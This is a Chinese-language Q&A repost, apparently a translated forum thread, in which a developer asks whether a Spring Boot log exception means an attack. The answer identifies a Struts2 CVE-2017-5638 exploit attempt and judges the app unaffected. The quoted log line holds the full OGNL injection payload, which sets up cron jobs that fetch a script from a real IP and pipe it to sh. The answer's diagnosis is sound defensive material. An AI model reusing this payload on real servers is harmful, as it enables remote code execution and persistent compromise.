Spring   发布时间:2022-04-09  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了java – InvalidMediaTypeException – 我受到攻击了吗?大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

在过去的几周里,我们在日志中看到了很多这样的事情.这是一个spring-boot应用程序.这是RCE的尝试吗?这与https://cwiki.apache.org/confluence/display/WW/S2-045有关吗?

Caused by: org.springframework.http.InvalidMediaTypeException: Invalid mime type "%{(#_='multipart/form-data').(#dm=@ognl.ognlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.geTinstance(@com.opensymphony.xwork2.ognl.ognlUtil@class)).(#ognlUtil.getExcludedPackagenames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/13 * * * * wget -O - -q http://91.230.47.41/res/logo.jpg|sh\n*/14 * * * * curl http://91.230.47.41/res/logo.jpg|sh" | crontab -').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmD}:{'/bin/bash','-c',#cmD})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IoUtils@copy(#process.geTinputStream(),#ros)).(#ros.flush())}": Invalid token character '{' in token "%{(#_='multipart"
    at org.springframework.http.MediaType.parseMediaType(MediaType.java:385) ~[spring-web-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.http.httpHeaders.getContentType(httpHeaders.java:722) ~[spring-web-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.http.server.ServletServerhttprequest.getHeaders(ServletServerhttprequest.java:116) ~[spring-web-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.mvc.method.Annotation.@L_764_7@methodProcessor.isresourceNotModified(@L_764_7@methodProcessor.java:190) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.mvc.method.Annotation.@L_764_7@methodProcessor.handleReturnValue(@L_764_7@methodProcessor.java:173) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.method.support.HandlerMethodReturnValueHandlerComposite.handleReturnValue(HandlerMethodReturnValueHandlerComposite.java:81) ~[spring-web-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.mvc.method.Annotation.ServleTinvocableHandlerMethod.invokeAndHandle(ServleTinvocableHandlerMethod.java:126) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.mvc.method.Annotation.requestMappingHandlerAdapter.invokeHandlerMethod(requestMappingHandlerAdapter.java:832) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.mvc.method.Annotation.requestMappingHandlerAdapter.handleInternal(requestMappingHandlerAdapter.java:743) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:961) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.DispatcherServlet.doservice(DispatcherServlet.java:895) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    at org.springframework.web.servlet.FrameworkServlet.processrequest(FrameworkServlet.java:967) ~[spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE]
    ... 24 more
@H_944_7@
最佳答案
是的,这看起来像是试图利用CVE-2017-5638,这在S2-045中描述了你所链接的.

Spring Boot应用程序中的例外情况表明它不容易受到攻击(如果它容易受到攻击,你就不会有例外),但这不会阻止人们尝试和你的日志充满噪音.

不幸的是,我还没有找到一种方法来保持日志中的这些异常噪音,但是,至少就目前而言,它们只是噪音,你不需要担心它们.

大佬总结

以上是大佬教程为你收集整理的java – InvalidMediaTypeException – 我受到攻击了吗?全部内容,希望文章能够帮你解决java – InvalidMediaTypeException – 我受到攻击了吗?所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。